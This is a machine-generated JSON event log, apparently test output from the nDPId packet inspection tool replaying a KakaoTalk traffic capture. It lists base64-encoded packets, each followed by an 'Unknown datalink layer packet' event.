+00530{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2129,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":272406,"pkt_caplen":168,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":168,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJgAAEAAHRH84gHJAa4KGFK8WgQsOACEPcOAbDMifrAsA1SapdoqbCltnMxlTuK3Y4tPerLkyQ0kd5pqCjNCBE7RXnCW0Ucr6rbCaR6VT8fgXI0RwMZU8bRnezSRBdWbC7SAp6757fqszcHAYqXy5MDuu\/xxPedyPq2fcEWJ\/x3I8s1hfSilDbSNKE+dB+JTS19v0plI"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2129,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00483{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2130,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":272498,"pkt_caplen":131,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":131,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHMAAEAAHRH9BwHJAa4KGFK8WgQsOABfSOqAbDMjfrAvw1SapdrxHGicmaOzsBa+TXHfVbfDsVyDxCECtJU2gxhNkQQUwmF8PWCa0LA\/XKiV+BqVFiuBHRhtJ08of9c\/lszG\/qvPJlJ2p6yvZNqBmco="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2130,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00439{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2131,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":272559,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/j26AbDMlfrA3Q1SapdqS2T95r5\/Yk3EKT3i2Pyrtrfs\/Ax\/Nfl\/IhADlIvXuROVi3b+0mKo18Iix"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2131,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00444{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2132,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":272650,"pkt_caplen":102,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":102,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFYAAEAAHRH9JAHJAa4KGFK8WgQsOABCZxmAbDMmfrA7A1SapdrGJp57+SjPZAah2hvTVowN+\/qmBkeh5CcqKUBWkZB1\/m77f\/q2\/N42Y0m+nPbT"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2132,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00535{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2133,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":272711,"pkt_caplen":171,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":171,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJsAAEAAGxH+3wHJAa4KGFK8WgYoHACHfwmAbFCXi0C3mguGVRkrr+HndrRyjO0IOO6iyk\/3GdutwYxUfGxvJojH0U8XTjssZL0JFQn6od9TLxk7c1Z\/O+PAfnwfM\/lqrYnVCm+ho+IfHpgtVg0IMmRVeIqUHFhuCiKbjgvPV3VHSg8MYFc4RLNpMqgQ8hF5X0mmZhHe8b67"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2133,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00510{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2134,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":288947,"pkt_caplen":152,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":152,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIgAAEAAGxH+8gHJAa4KGFK8WgYoHAB01ziAbFCYi0C7WguGVRkTfuKOijtuW3gyaR+i00LcieHtlMKRJrHqTvK7UtBj5Zkczo5R3j\/MH6dJZOQ7bmksN9eWJZtHMjElTEbg2PVchXMxU50cDPFIkJpARmghBS\/mo7HNUdYHqQW5yBRDEKg="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2134,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00528{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2135,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":289038,"pkt_caplen":163,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":163,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJMAAEAAGxH+5wHJAa4KGFK8WgYoHAB\/T8OAbFCZi0C\/GguGVRmAon3+m1PYOiS\/XuzDTXs9NPU4gy9IXPlUgLFySQMWbX05i3V8KiOy++ENNcLQ1EbqG3iSlsBzMYMYBDHeb8\/Z7xTu3TucKj8clf6rWBoNAQAPOMpysHNimSOUu82LcSa7CJE9RNoPnm3mdA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2135,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00498{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2136,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":289099,"pkt_caplen":142,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":142,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAH4AAEAAHBH9\/AHJAa4KGFK8WgcoHQBq7BOByAAMC4ZVGaDpnSddKM5Xo0F7IzUlJ0K974tSl6CKC75qjJ7CzzdGPB\/jgt1yWqXNt5f8eE7my+DfJ1ibS2biQYoq0+IluHuPfo1V6AWC+zZ2seaAAAAIJChM86bO4q6g9Q=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2136,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00551{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2137,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":289130,"pkt_caplen":179,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":179,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKMAAEAAGxH+1wHJAa4KGFK8WgYoHACPL\/WAbFCai0DC2guGVRmepdbBJGnbyY\/aPzFbpQA\/R0kSWgGWZHmWVVA2VaR1sRy+gUH6+\/5LEXsBon8jRL10eFZD\/Rka5BAg4PFhrMVeoRb+UEJS5yifiSY+0r2H5gvSOW4z+DLcyYKfcMgYoQl\/icJLcs8PZjvIahS9DCESPk\/hd76pQkarOXY="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2137,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00486{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2138,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":289191,"pkt_caplen":134,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":134,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHYAAEAAGxH\/BAHJAa4KGFK8WgYoHABi1YmAbFCbi0DGmguGVRkR2\/PPp0xJQwKMegyo96Vsh6GWrpkS33wNTr7RHMESK3MbLh2sp8XczmSuCKvAS1NMxuL5ANwYvtdfi7mlzGWglgJcrNdD5ZtxPqNlbTs="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2138,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00494{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2139,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":289252,"pkt_caplen":140,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":140,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHwAAEAAGxH+\/gHJAa4KGFK8WgYoHABopBmAbFCci0DKWguGVRkWmQbl106LiaK3jHzrB4AlMCYM6sVnXWzP9GotPx7f\/vaLddmefx8+brtIMFa3GZzQ2oxY+jNH0dKNAyfDeUecN1AQ8fuJjThqAgOoPiEcIEaCbKA="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2139,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00450{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2140,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":289282,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFsAAEAAGxH\/HwHJAa4KGFK8WgYoHABHLyqAbFCdi0DOGguGVRme12SkOl7tf0EfDVDMVLcbzziO7NivSmQV4mAhk0DWqIFCm3kgqokyhyqki667+15\/+eg="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2140,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00491{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2141,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":289344,"pkt_caplen":138,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":138,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHoAAEAAGxH\/AAHJAa4KGFK8WgYoHABmDRiAbFCfi0DVmguGVRmgUzpi5V2rTPllHHpr\/ifFYP2U5iLJAEpbyad95J3kzNkFYoJiIydOpDMt289OAyMhj2GUpF7TzPl7bCmQ5xPdAaxfsMZGhY\/pH+ezLqlmdwAP"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2141,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00466{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2142,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":289405,"pkt_caplen":118,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":118,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGYAAEAAGxH\/FAHJAa4KGFK8WgYoHABSV5OAbFCgi0DZWguGVRm8ENJw+SgodsCbdOzdnG++a8NWLZHaApssbkQYYii5XJ3X7n3LBQyvBOXtu41AzNokzwg6SL\/uC7Y1xm6ITA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2142,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2143,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":289435,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF0AAEAAGxH\/HQHJAa4KGFK8WgYoHABJtpmAbFChi0DdGguGVRlsSW9cd3Rywr4taHDG2Th14UJ94StqGEW0E9gxVE1Gpx2lwN3JAYjblS4ELJ1s5KbWIU+EpQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2143,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00496{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2144,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":289496,"pkt_caplen":140,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":140,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHwAAEAAGxH+\/gHJAa4KGFK8WgYoHABohG2AbFCei0DR2guGVRnqHfItN4KGt7DilEWA\/R4yUltxeT2RRAtgHv9jWcolBmVpxCTR\/d7zlXRB7xvaZGe5Pe00ltPJyG+9JJiRAgdouKsY\/fvNl0X4IxQAGsGfhZqnOxk="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2144,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00465{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2145,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":289557,"pkt_caplen":119,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":119,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGcAAEAAHBH+EwHJAa4KGFK8WgYoHABTPf+AbFCii0Dg2guGVRk4Z8GRh9XrawGDBeviWx8NElMS\/PTgbKkNYTnVkVEnpEdzepL92M71Onn1JqGlufyrBgJbAEn7V5G1dMSkZtY="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2145,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2146,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":289588,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/K\/+AbDMnfrA+w1Sapdqt4\/lXlbWIK2lImBaVCdqF3gc7QbZV1UIsjOhN34Jxldx29pIlrVLaxfwv"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2146,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2147,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":290137,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/C62AbDMofrBCg1SapdoeE1Y7NGo0b+QivnLLLeVK+LJ3NSjTED571sINGSlIBgsvlOcxdiY14vhL"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2147,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00450{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2148,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":290473,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFoAAEAAHBH+IAHJAa4KGFK8WgYoHABGjpSAbFCji0DkmguGVRmBLX\/KV7YZhBbpSs2fNQ0X2+1fLNIxTrzlQSSnE0dd\/uZ0vEQsWwerYuHOlBbIWhUcVg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2148,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2149,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":299201,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/HRuAbDMpfrBGQ1SapdqG67wRBIYvVhjBLTBQ4i\/a00b9jJ5Xynk69eQkFsDKmj71h28Ipkhw1bIk"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2149,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00491{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2150,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":300788,"pkt_caplen":138,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":138,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHoAAEAAQBHaKAoYUrwByQGuKBxaBgBmDoKAbDNCfrCkA1SapdqYwVTsDgJSBHO2ln\/bdhizHbmZphQRJb\/ve+jkmzm\/AmpklZPtV2IkKGaqcynug8OhKvKvg+pHzGJYoKZjuut2nt6Wez6nuk6ICfOx69GUXCF+"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2150,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00483{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2151,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":309485,"pkt_caplen":132,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":132,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHQAAEAAPxHbLgoYUrwByQGuLDhaBABgn0WAbFC8i0FCWguGVRkWhGnTgY0EN\/RiCcFLWNEWGoXQFqTzRKeVvBCgQNxzJFCVAoBlqcQLw\/drMYUZiMZk6bBQLHFQrGcA\/YHmY9tiE317kkAWmvFik+ua"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2151,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2152,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":309760,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/eI+AbDMqfrBKA1SapdqijVeuW326QCZVuVjQEtWlX3Jz5+A3B9Vy3ndEgfnHbfIVmccOCrJR0Q6I"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2152,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00888{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2153,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":328772,"pkt_caplen":430,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":430,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAZ7ykEAALwb9dm5MjzIKGFK8Iynl6dfwqeUtaZdhgBgAMCIIAAABAQgKRNv\/+QAC1UgXAwEAIPIcwJS9nbg4yhQy4mslWZnd7TwE+O3BXOscPulfxHTbFwMBAUA\/zsULrKPZ9c04uKTjigrpbhhSvAf9qJoxaOtlaac74KM1Uwsnynb8zyCngpoOWSWPTPnbCCx4mR9\/luNiMHeMPFTxoTQ0aXHY\/8e7zRyfgOq28y1Y9f7StId4vbRr\/QO2N2GDXR4\/ijDckHnaLvJoWkw4iae76Cih8XLbdTofmVumX6ekQ43IPg1XNp1uicIwwjca8+Bua7PruFSmI7sn55MHh5Vs1FDKX+b1avrtg6UyQH6DZAT72vICqZ+94S5vF+EipePqehEEIbmpyBgJNxeTHIAlIyFoqEkGzCK1Odv+U4Q0b7Up2Dfpv8Jxnqz+wfL0+p7gy7vUZXKRRKdFMhk8ctWtVyIA6jqD6NiFJGgMaX+x3kMuhr\/lPBJxFThsXeLf9EHCypIWX7n54x7jYAZAGi78\/xJuZxjU97Yiug=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2153,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00396{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2154,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":329047,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADRKpUAAQAaVzAoYUrxuTI8y5ekjKS1pl2HX8KtPgBADK1p5AAABAQgKAALV10Tb\/\/k="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2154,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00395{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2155,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":329108,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAADTyj0AALwb+4W5MjzIKGFK8Iynl6dfwqeUtaZdhgBAAMLJmAAABAQgKRNv\/+QAC1Ug="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2155,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00396{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2156,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":329230,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADRKpkAAQAaVywoYUrxuTI8y5ekjKS1pl2HX8KtPgBADK1p5AAABAQgKAALV10Tb\/\/k="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2156,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00456{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2157,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":344763,"pkt_caplen":113,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":113,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGEAAEAAHBH+GQHJAa4KGFK8WgYoHABN49yAbFCki0DoWguGVRlnUEUUszqEiYiIPynxw9SpLEo+W+s2Ly4MWiu6UEI1yIezAdzzv76aNFusbXQBzPUGGxcJKqDi3VY="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2157,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2158,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":344886,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF0AAEAAHBH+HQHJAa4KGFK8WgYoHABJpUOAbFCli0DsGguGVRkmMMIxq0DmBwV+ZH+3r+GZ2yPxYnuw3kFQIJvFhLsPRTgYbJ1bxuHau9aNRGqeOdUOzXKaWg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2158,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00496{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2159,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":351386,"pkt_caplen":144,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":144,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIAAAEAAHRH8+gHJAa4KGFK8WgQsOABsVzqAbDMrfrBNw1SapdqxdFQjjl+rikpZphTwtYzAZLwr8rNvdXIfhisehuYaf1jmyXcqPZmqPK2h5U75ioFV9fV1gvUBR4y4rr+PhqDGFzvYCUPz1pCcyJOHHIdroluYBnfAijU1"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2159,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00394{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2160,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":375495,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAADSw5kAALwZAi25MjzIKGFK8H5CAyJJ45pH3EeEagBAAMpf7AAABAQgKRNwAKwALTZs="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2160,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00887{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2161,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":376197,"pkt_caplen":430,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":430,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAZ6w50AALwY\/IG5MjzIKGFK8H5CAyJJ45pH3EeEagBgAMsNTAAABAQgKRNwAKwALTZsXAwEAIElInUCMLclQjjCbWS32dmbXvFt0g3GsOb0aJ+f3cfZTFwMBAUCwSbZMrKYNeD5qsIbp6QVxhbFucDtOg258AAzuOXDXZ8MglF4HmOGp9RLXPklrSDmvn6mHIC5zfFT5rpvqvS\/DE3W8X8x5LvKbn6Wy++3iq3WuMc8KfRazkUruM1RX6zEjLKkl2I0s\/5cyYfyUss1E7a7+nRGrVza6lh6JA+PRkLwa4BMjsocMa2A91HYL8Bnier1sy5eSWbc7fUPSYgwZvo5uxEuhiwCFbu5f2jnt5Wq2Ki6y\/MHpNhnLGmBQTS3Sya3lJS\/dA0\/dwEZt74OGwvIcrNNb6vY36c+tDssD+Iqpl2RGsuTZ6lCG4OanPX5bIrwut4u+qRJuxmJxOAvmlCH5UvP6O7ntt4fX6bgWnTbWOjYQCqvNmQATdAAVApwHPI4Wh2uTztIAiIFJnGCxD6jqVRH\/M1RcIWuIybNz3A=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2161,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 